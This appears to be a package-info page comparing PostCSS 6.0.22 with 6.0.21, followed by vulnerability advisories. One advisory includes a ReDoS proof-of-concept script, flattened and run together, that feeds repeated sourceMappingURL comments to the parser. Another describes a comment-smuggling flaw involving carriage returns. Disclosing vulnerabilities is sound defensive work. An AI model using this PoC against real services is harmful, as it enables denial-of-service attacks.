PostCSS version 6.0.22 represents a subtle yet potentially impactful upgrade over its predecessor, version 6.0.21. Both versions serve as robust tools designed for transforming CSS using JavaScript plugins, maintaining the MIT license and the same author, Andrey Sitnik. Developers familiar with PostCSS will find the core functionality consistent.
The key differences lie within the updated dependencies. Version 6.0.22 incorporates newer versions of chalk (upgraded from ^2.3.2 to ^2.4.1) and supports-color (upgraded from ^5.3.0 to ^5.4.0). These changes likely address bug fixes, performance improvements, or feature enhancements within those specific packages. For developers, this translates to potentially better terminal output coloring with chalk and more accurate color support detection with supports-color, especially important when PostCSS integrates with command-line tools or build processes.
While source-map remains at version ^0.6.1 in both, the updates to chalk and supports-color might indirectly improve source map generation or processing. Additionally, the "unpackedSize" increases slightly, suggesting minimal additions or modifications within the dependencies. The release date difference is also significant, indicating that version 6.0.22 incorporates roughly a month's worth of updates and refinements since 6.0.21. Upgrading is generally recommended to benefit from the latest improvements and bug fixes within the dependency tree, ensuring a smoother and more reliable PostCSS experience for developers.
All the vulnerabilities related to the version 6.0.22 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.